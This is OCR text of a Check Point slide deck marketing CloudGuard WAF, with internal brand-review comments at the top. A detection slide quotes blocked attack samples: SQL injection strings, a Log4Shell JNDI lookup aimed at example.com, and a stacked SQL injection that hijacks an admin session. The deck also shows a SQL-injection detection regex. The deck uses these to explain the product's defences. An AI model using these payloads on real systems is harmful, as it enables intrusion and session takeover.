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[@Roy Klein] what's Infinity Next? That's not a product in our catalog.

(asking you because | see you created this deck. LML if this g should go to Roy Barda)
Rebecca Lewington; 2025-01-24T00:10:15.913

Hi Rebecca, Infinity Next is the name of the area that Roy Barda is managing.
This area is responsible for CloudGuard WAF.

Do you think it is better to write: Roy Barda | Director, CloudGuard WAF?
Yuval Mamka; 2025-01-26T08:41:01.655

That is much better. Thanks, [@Yuval Mamka] . (We need to get people out of the habit of casually naming these kind of things

without consulting Brand.)
Rebecca Lewington; 2025-01-27T718:54:55.219

Quick brand scrub. Nothing major, just changed all fonts to Arial and fixed a few logo issues
Rebecca Lewington; 2025-01-24T00:25:23.988

Thank you!
Yuval Mamka; 2025-01-26T08:41:08.358



Today’s Agenda

Introduction: Traditional Signature-Based Defenses

Shift in Threat Landscape: Zero-Day Exploits and Limitations of Signatures

API Security as the New Battlefield

Al-Driven Threats: Why Advanced Detection is Essential

®
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Web Applications Built as Monolithic
with a Single Database
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Fewer Technologies




WAFs Depended on Rules & Signature Updates

WAF Rules

WAF Rules

T ——— CVE-2001-0876
WAF Rules

WAF Rules CVE-2000-0071

Q)

Signature DB

)
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Web Applications Built with Multiple Technologies
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Multiple Technologies




Number of CVEs Published Over the Years
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Snimka 8

RLO | changed the series color to one of our secondaries. We try not to use Brand Berry for bad things!
Rebecca Lewington; 2025-01-24T00:12:07.998
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Welcome to FloppyShop 2000!

Your #1 source for vintage storage solutions

3.5" HD Floppy Disk

High-density 1.44MB floppy disk, perfect for all your
data storage needs!

Colored Floppy Pack

Pack of 5 colorful floppy disks. Make your storage
fun!

Double Density Disk

720KB double density disk for older systems, and
retro enthusiasts.

L3

5.25" Floppy Disk
5.25-inch floppy disk, compatible with vintage

Floppy Disk Storage Case

Protect your precious floppies with this retro storage

Floppy Disk Labels

Set of 50 labels to organize your disks with style, and




Traditional WAF Solutions Depend on the
Ongoing Maintenance of Rules & Signature

Updates

Too Specific Rules
Leads to
Overlooked Threat
Variations and
Demand Adding
More Rules to
Address Them

[ ]
& cHeckPoINT

WAF Rules

WAF Rules

Too Loose Rules
Leads to Overload
of False Positives
and Demand Adding
Many Exceptions

echnologies Ltd. 10
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Ongoing Maintenance of Rules & Signatures
Just Doesn’t Work

. Traditional WAF Solutions Leave You Vulnerable to Zero Day Attacks
For Days or Even Weeks

Traditional WAF Solutions Often Struggle to Detect All Malicious Traffic,
Leaving Vulnerabilities Exposed

Most WAF users operate in Detect mode due to the high false

@ positive rate, while those in Prevent mode face significant admin
overhead.

Based on: WAF comparison Project

[ ]
& cHeckPoINT ©2025 Check Point Software Technologies Ltd. 11



When You Choose Cloud Service Providers’ WAF
You Multiply Your Efforts & Lose Consistency

adWs
S o
WAF Rules WAF Rules WAF Rules

®
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Comprehensive Web Application & APl Security

) Al #1 Attack IPS Bot
Bhes Milions of Indicator _ A

Requests & Analysis
Attacks .

——— Approved
HTTP Requests
O J

E f(\ E
A
Rate Limit Al #2 Context File Security API Discovery

Analysis
Engines

Trained Continuously
on Apps & API
Behavior

[ ]
& cHeckPoINT ©2025 Check Point Software Technologies Ltd. 13



How does Signature/Manual Rules WAF work?

Approved
Requests J
Relies on Threat
signature Mapping Manual Rule
update

e Blocked
EQUES :(: i RequeStS
:fe = average N
HTTP i regular  TREE
WAF has et
Can’t Block b\ e
Zero-Day Attacks

[ ]
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Al #1 Attack Indicator Analysis

[ J
& cHeckPoINT

SecRule

REQUEST COOKIES| !RE 'NGT_UOOKIES:/ utm/ |

REQUEST COOKIES NAMES |ARGS NAMES | ARGS | XML

:/* "@rx

(?i)\b(?:d(?:dtubuﬁ|brﬂdm)&iAC“HA“Zf&*Z]*

\(|(?:information schema|m(? er\.\.sys
b s(?idb|ys(?:ac(?:cess

pg_(?:catalog|toast) |tempdb) \b|s (?:chema (
?:7nam@\b\[”ﬂ—ﬁA-Zia—z]*\()I(?:qlgteﬁ(?:r
emp ) ?master|ys(?:aux|\.database name))\b

YN

HTTP

Breaks into Indicators
for Mapping

7,000

Indicators

Preemptive Zero-Day
Prevention

Fully Automated

Approved
Requests

Suspicious Requests

Al #2
Context
Analysis
Engines

©2025 Check Point Software Technologies Ltd.
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CloudGuard WAF is Based on
Cascade Machine Learning Technology

Approved
Requests J
Al #1 Attack N Al #2 Context
Indicators '~ Analysis
Analysis Engines

Suspicious

HTTP Requests

Trained Continuously
on Apps & API
Behavior

Trained on Millions of

Requests & Attacks

[ ]
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2nd Al Consists of 4 Context Analysis
Engines

Al #1 Attack

Indicator
Analysis

User Behavior

Compare the user behavior baseline to assess
malicious intent from prior user requests

©®

Crowd Behavior

Continuous learning of users' activity with a good
reputation, which allow us to auto adapt to the
application

\ 4

2D
8:

Trusted users

Al #2 Context : .. : : :
Analysis Acceleration of application learning with creation of
Engines allow list of permitted inputs from trusted users

]

O ®

Q Application Content

Unsupervised learning of fields types and values

[ ]
& cHeckPoINT ©2025 Check Point Software Technologies Ltd. 17



Context Analysis Engines Reduce False Positives

700
600
User hasn’t sent many
500 indicators in the past
Possible indicator
of malicious
attack
400
Trusted sources sent
these indicators as well Parameters type is similar to

300 other requests for this URI
200

100 All the other App users sent \.

the same indicator for this

parameter Final Score <100
0
@ S Q
e - @ @
Transaction User Behavior Crowd Behavior Trusted users Application Content

°
6 CHECK POINT ©2025 Check Point Software Technologies Ltd. 18



No More Manual Rules & Signature Updates

Relying on Rules & Signature )
Updates

Reacting to Zero Day Attack s —————
Missing Malicious Traffic = ————————————————
Blocking Legitimate Traffio—————)

Wide API attack surface ——— s sssssssssssssss——)

[ ]
& cHeckPoINT

&

CloudGuard

WAF

POWERED BY
CONTEXTUAL
Al

Automatic Al-Based WAF Management
Preemptive Zero-Day Prevention
Nearly Perfect Detection Rate

Nearly Zero False Positives

Automatic API Discovery & Security

©2025 Check Point Software Technologies Ltd. 19



Home Find My Order

Filters

Welcome to RetroCD Shop

Price Range . i}
Your trusted source for retro storage solutions since 2000!

Media Type
CD/CD-R/CD-RW ]
| DVD/DVD+R/DVD+RW ?
Blu-ray Discs
V Verbatim

B %xBD-R -

Premium Blank CD-R Blank DVD-R Pack Blu-ray BD-R Disc CD-RW Rewritable
700MB | 80min | 52x Speed 4.7GB | 120min | 16x Speed 25GB | Single Layer | 6x Speed 700MB | 80min | 12x Speed

k

¥ Verbatim
V' Verbatim

4Eor B

Professional DVD+R DL Mini CD-R Enterprise Blu-ray Pack Archival Grade DVD-R
8.5GB | Dual Layer | 8x Speed 185MB | 21min | 24x Speed 50GB | Dual Layer | 6x Speed 4.7GB | 100 Year Lifespan




Real World Scenarios

LthU@

Matched Sample: or1=1--

Found Indicators: . == =, or, probing, regex_postfix_0,

regex_prefix_0, regex_prefix_1, regex_sqli_0,

regex_sqli_22, regex_sqli_30

Matched Sample: ${jndi:ldap://example.com/a}

Found Indicators: ${. java_1, ssti_fast_reg_4

Matched Sample:

AppSec Found Indicators:

sql'insert into activesessions (sessionid) values (‘aaaaaa’);update activesessions set username=(select username from users order by permission
desc limit 1) where sessionid="aaaaaa’;update activesessions set loginname="test@test.com’ where sessionid="aaaaaa';update activesessions set
realname="test@test.com' where sessionid ="aaaaaa’;update activesessions set instid="1234" where sessionid="aaaaaa’;update activesessions set
ipaddress="1.1.1.1" where sessionid ='aaaaaa’;update activesessions set lasttouch="2099-06-10 09:30:00" where sessionid="aaaaaa’;update
activesessions set dmzinterface="10" where sessionid="aaaaaa’;update activesessions set timeout="60" where sessionid="aaaaaa’;update

activesessions set resilnode="10"' where sessionid="aaaaaa’;update activesessions set acctready="1" where sessionid="aaaaaa’

. e 5 =, from, insert, into, limit, order by, regex_code_execution_1, regex_postfix_1, regex_sqli_14, regex_sqli_25, regex_sqli_28, repetition, select,

sqli_fast_reg_3, where

@
& cHeck PoINT
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CloudGuard Continuously Learns
Specific Apps & APl Behavior

v @ WEB APPLICATION BEST PRACTICE | Mode

28 WEB ATTACKS vode: | @ Prevent ~

High and above w | Advanced

v Remote Code Execution Xpath Injection

+ Authentication & Authorization Attacks XML External Entity
Command Injections Server Side Code Injection
Path Traversal Remote File Inclusion
Cross Site Scripting Directory Indexing

LDAP Injection Vulnerability Scanning

C 4 8 S £ & %

« SQL Injection Evasion Tarhnintias

& WEB BOTS A AsToplLevel -

@ INTRUSION PREVENTION ‘?‘ As Top Leve| -

@ Disabled - Learning Level

® Disabled - §

®

Kindergarten

ﬁ SNORT SIGNATURES

B, FILE SECURITY

Custom Rules and Exceptions (0) ik

Triggers (1) +

What's next?

[ ]
& cHeck POINT

Ready to Prevent

Attacks Within
Three Days of
Deployment

SSL Cypher Validation

v Log4Shell

v
v
v
v

Size Limits

« Othar

Learning Level

Learning Level is
- A % Displayed in The WAF
Management Platform

Recommendation

©2025 Check Point Software Technologies Ltd. 22



Comprehensive Web Application & APl Security

Al #1 Attack Indicator Analysis

Top 10 using contextual Al

By Learning Applications & APls Behavior

DDoS

CloudGuard WAF SaaS deployment

Rate Limit

Limit the number of requests to an API/App resource
within a configured time, scope to block DDoS attacks

[ ]
& cHeckPoINT

Prevent application & API attacks including OWASHEES

f’) Al #2 Context Analysis Engines

Eliminate False Positives & Keep High Detection Rate

—6‘ DDosS attack prevention is now available for

& <O

©

IPS

Update your defenses with the latest compromise
indicators with 50+ engines packed with Al-based
Features and Capabilities

File Security

Analyze any files uploaded and consult Check Point's
ThreatCloud regarding the file's reputation.

Bot Prevention

Stop automated attacks, Inclusive of user credential
abuse

API Discovery

API runtime inspection, discovery with auto generated
SWAGGER schema, sensitive data detection, and
schema enforcement

©2025 Check Point Software Technologies Ltd.




With Check Point WAF You Can Differentiate Yourself in the Market

High Detection Rate

F5 Critical e
Azure - Check Point

Many False Positives

Detection Rate

GCP AWS F5 & False Positives

M
1,040,242 % 80 F5. BIG-IP
Legitimate HTTP v aws W g
requests g 70 F5

8 Fortinet O Default

S 60
73,924 = Cloudflare @

>
Malicious payloads s 90

c]
Labels: ,? 40 Few False
1. CSP Native WAF § Positives
2. F5 Different WAFIR ® 30 Low Detection
3. P lar WAF Rate

. Popular () 20
4. Other WAFsQO
40 50 60 70 80 90 100

Detection Quality (True Negative Rate)

0’ ©2025 Check Point Software Technologies Ltd.
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Unmatched Prevention Results

o
Check Point WAF

99 -4% vs 86.6% O . 81 % vs 8.69%

Preemptive Prevention of Top Zero Day Attacks in Recent Years

. Apache )
&) spring tocas ) CONEEETS 3 Progress
4Shell CVE2022-42889  lext MO\/EIT
Sprint4Sheli Log4Shell Text4Shell MOVEit

CloudGuard

- WAF

®
6 CHECK POINTT ©2025 Check Point Software Technologies Ltd. 25



L3 Check Point
5OF PRODUCTS SOLUTIONS SUPPORT & SERVICES PARTNERS RESOURCES

TWARE TECHNOLOGIES LTD

FORRESTER

Check Point Achieves Top
Market Presence Score

Download The Forrester Wave for Cloud Workload
Security 2019

READ REPORT

Research Insights & Analysis ! Executive News & Trends K % Are You Secure?
- a
2
Edge

il T ™
velocloud ¥
Now part of VMware ﬁ_“ i .

Connect ‘ . y N . 1"‘/:?

Check your company GDPR risks and take

@GDPRate

Check Point and VMware protect your Take control of the security for your AWS




Applications Built with Multiple Technologies
and APlIs

==\ TY mmmmm—m—-- ===
I I ‘ Timescale \
I | I "\: : @ t(_—{) : i i",‘gsnowfloke '..‘ I
: I , = & . omace elastic A
I T | I A | I ]ava | DATABASE MySaL |
3L | I .
O 16! | @p | @ » |
m ‘ | 8 g I-l '5 Iql P —?w ! . SQLServer :
1 A I 5 o K Kotlin | et |
: | , | R -
| |
I | I 1 vmware . kubernetes gy docker :
| | |
L — } - - J ——————— E 02— ———————————— -

Rapidly Evolving APIs




CloudGuard WAF Automatically Discovers API
Schemas and Allows You To Enforce Them

Visibility Into Shadow & Zombie APls Governance Over Publicly Exposed APls Preventing Unnoticed Sensitive Data

2. Dashboard & Full 3. Schema 4. Sensitive Data
APl Usage Validation and Discovery
Enforcement

1. API Discovery (Auto Generated Schema)

®
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New API Discovery is Now Available

« Complete Visibility Into Your APl Landscape
* Full Governance Over Your APl Exposure

 Complete Control Over Sensitive Data in APl Responses

HTTP

[ ]
& cHeckPoINT

_API
Discover

Y

Approved

Requests \

/

©2025 Check Point Software Technologies Ltd. 29



CloudGuard WAF Automatically Inspects
& Generates Your APl Schemas

API Discovery@

Auto Generated Api Discovery Schema

Servers

agents s

/agents

/agents

v

| /agents/debug ~

| /agents/update/getResourceFile v
agents-core e

GET /agents-core/storage Y4

GET /agents-core/storage/{parameter_1}/{parameter_2}/5/{parameter_3}.json v

GET /agents-core/storage/{parameter_1}/{parameter_2}/{parameter_3}/{parameter_4}.json N

°
Q CHECK POINT ©2025 Check Point Software Technologies Ltd. 30



CloudGuard WAF Allows You To Manage Your API
Usage

® CHECK POINT
e CloudGuard WAF

Top APls with

Most Used APlIs Least Used APlIs Sensitive Data

41166.6K c=

All Events

165,864 - /api

613 /api/config

0 - /api/emergency-accessitrusted

0 - /api/senings/domains

PUT GET

Asset Name Changes Sensitive Data Requests Sources

Discovery of API .

Changes —"
ey
3 New: 0
Mar 04 Mar 11 Mar 1 Mar 25 Apr 01 Apr08 Apr 15

[ ]
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Secure Storage Lightning Fast Free Shipping
Military-grade encryption Up to 10Gbps transfer speed On orders over $50

-
==

Search products... 2= Category v

Professional Compact Enterprise Gaming

Pro Series 128GB Mini Nano 64GB Enterprise 256GB RGB Gamer 128GB
128GB 64GB 256G8 128GB

$29.99 $19.99 $79.99 $39.99

Professional-grade USB 3.2 drive with Ultra-compact nano design, perfect Enterprise-grade with hardware Gaming-focused drive with RGB
aluminum casing and enhanced for laptops and car systems encryption and remote management lighting and ultra-fast speeds

durability
Ultra compact Plug & Stay 256-bit Encryption Remote Wipe RGB Effects 200MB/s Speed

USB 3.2 Aluminum body . —
90MB/s Speed Management Console Gaming Optimized

150MB/s Read Speed




Products Solutions Platform Services Resources Partners About Us
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Under.
Attack?

Q

Contact

CPX 2025

Join us Feb 4-5 in Vienna, Austria for the premier event for cyber security
ome back! |

professionals.

REGISTER NOW

Gartner Magic Quadrant Welcome Nadav Zafrir 2024 MITRE,
v Zafrir named new Check Paint

ader in the 2 )
chnique-level detection .
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Web Applications Uses LLM as a Standard

I'-_\ FESTEEEEEEE TRTEEEEEEE 1 SR
| I : (—(g) @ i >::<snowfloke '..‘ I @
I | I =+ & . oracLe elastic m |
I E " I @ Java 3¢ haystack] DATABASE MysaL | Gemini
o | .
=< I )
| == 1 ‘I ﬁ @ | . @ mmp| >
1° I 1 ——m " g ngoDB S“(oj’f_Server I |
O | ' I I K Kotlin I 2 Claude
m | I ! T T T = -1
I 1 vmware |. kubernetes &y docker | O\
L, e I
S mm Y o s e e e e s S S RS S S S EES BSS Dan D e B -’ LLM

Next-gen Al increases




loudGuard WAF for Al —

esignhed to protect against the new Al threats.

€ Back

I 48N Check point

www.checkpoint.com

GENERAL THREAT PREVENTION

High and above

« Context Change
« Language Overioading

v Reverse Psychology

B DATA GUARD

v Pl

v URL filtering

Advanced...

B CONTENT GUARD

Banned Competitors / KeyWords

Language Enforcement

6 CHECK POINT

CUSTOM RULES AND EXCEPTIONS EVENTS LEARN

& WAF 5aas Profile

T AsToplevel =

v Malicious files
«~ Role-Play

+ Chain of Thought Manipulation

'1‘ As Tap Level -

« Secrets

Anonymization

'1‘ As Top Level =

rfKeyword List...

Language Rules...

il Prompt Guard gl Content Guard

il Data Guard il Usage Guard

OBJECT VIEW

+ Data Poisoning
+ Negation Commands

+ Emotional Manipulation

Web Attacks Web Bot , Snort [ File Security

> ATTRIBUTES PRACTICES

ACCESS CONTROL

Firewall

loT Risk IoT APL
Management Embedded Attacks

%

APE Web Workload
Discovery Attacks Protection

E

Server Al
Protection Protection

©2025 Check Point Software Technologies Ltd.




Cqudshc’n_;) Products Solutions Pricing Documentation

Secure Cloud Storage for Your
Critical Data

Enterprise-grade backup solutions with advanced WAF protection and real-time threat
detection. Keep your data safe and accessible.

513’.1 i

O WAF Protected & End-to-End Encryption & 99.99% Uptime

Choose Your Plan

Basic Professional

$29/month $99,’month

~ 100GB Storage + 1TB Storage
~ Basic WAF Protection + Advanced WAF Protection
~ 24[7 Support +/ Priority Support

" 99.9% Uptime " 99.99% Uptime

Enterprise
Custom

+~ Unlimited Storage
+ Enterprise WAF Protection
+ Dedicated Support

" 99.999% Uptime




Introducing GenAl Security
With CloudGuard WAF

I ‘I a ‘I
I c I APP o8 D | c |
_I I 2 ~' H Gemini
_ /{ﬁx\%
‘f\";:f,"’}ﬁ
| : | : (>3
: I & o° Agent : I ¥ Claude
L 0|0
I ?hOrt I I » !
IRoaﬂrTapI IRO-I; ::: I
- 7 Bl ‘7(’
. LLM

Next-gen Al increases




If You Loved CloudGuard WAF,
Replacing Your Current WAF is Easier Than Ever

o

<15 min. <1 Hour <1 Hour
Update Your DNS Deployment within Deployment within
Record & Immediately Kubernetes On-Prem
Route Traffic through . :
WAF as a Ingress Environment
Service

®
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Choose Managed
Certificate OR BYOC

Route domain DNS
record to Check Point
WAF SaaS

Domain Configuration

ﬁ waf.dev.i2.checkpoint.com

Certificates & Domain Management

e Certificates managed by Check Paint u

ioad certificates

=1

To prove ownership of waf.dev.i2.checkpoint.com add the following records to your DNS:

CNAME record name:

_008f8ddf1 fbfc6019754f9ddeed950ca.waf.dev.i2.checkpoint.com. ]

CNAME record value:

_1c7515187240d0e9da59231ea6632f0c.sdgjtdhdhz.acm-validations.aws. "]

@ Domain ownership validation succeeded

Make sure your server is accessible only from CloudGuard WAF Data Center:

63.34.148.113

54.228.123.60

3.24812536

L LA

Update the DNS record for waf.dev.i2.checkpoint.com to point to the following CNAME

value:

wafdevi2checkpointcom.f20d4b17-771d-4367-9315-5e6d2408%2c.eu-west-1,83e0...  [J

Status: Enabled

Cancel SAVE

Now Supports: Apex Domains, Custom Ports, and BYOC

[ ]
& cHeck POINT
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CluudShgz) Products Solutions Pricing Documentation

Secure Cloud Storage for Your
Critical Data

Enterprise-grade backup solutions with advanced WAF protection and real-time threat
detection. Keep your data safe and accessible.

Start Free Trial View Pricing

O WAF Protected (& End-to-End Encryption ~  99.99% Uptime

Choose Your Plan

Basic Professional

$29/month $99/month

~~ 100GB Storage ~ 1TB Storage

" Basic WAF Protection + Advanced WAF Protection
" 24[7 Support /" Priority Support

+~ 99.9% Uptime " 99.99% Uptime

~_Custom Domain

Enterprise
Custom

~* Unlimited Storage

Enterprise WAF Protection

v
+ Dedicated Support
v

99.999% Uptime

Custom Domain




Unlike Cloud Native WAFs, CloudGuard WAF Offers
Deployment Into Your Kubernetes Ingress

°
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CloudGuard WAF Offers Additional
Deployment Options

Kong Gateway Pod

ﬁ\

Kong

[ ]
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Summarizing Check Point Unmatched Advantage

Over Cloud Native WAF Solutions

CloudGuard

®
= WAF c' CHECK POINT’

A avs O

Use Case

CloudGuard WAF

Cloud Native WAF

Zero-Day Prevention

v" Immediate

x Avg. 40 days*

WAF Management

v Al - Automated

x Manual

Detection Accuracy

v Leader 97%

x Avg. 87%*

API Discovery

v Yes

x Not Provided

Flexible Deployments

[ ]
& cHeckPoINT

v Multi-Cloud & On-Prem

x Single Cloud

©2025 Check Point Software Technologies Ltd. 43



Thank You




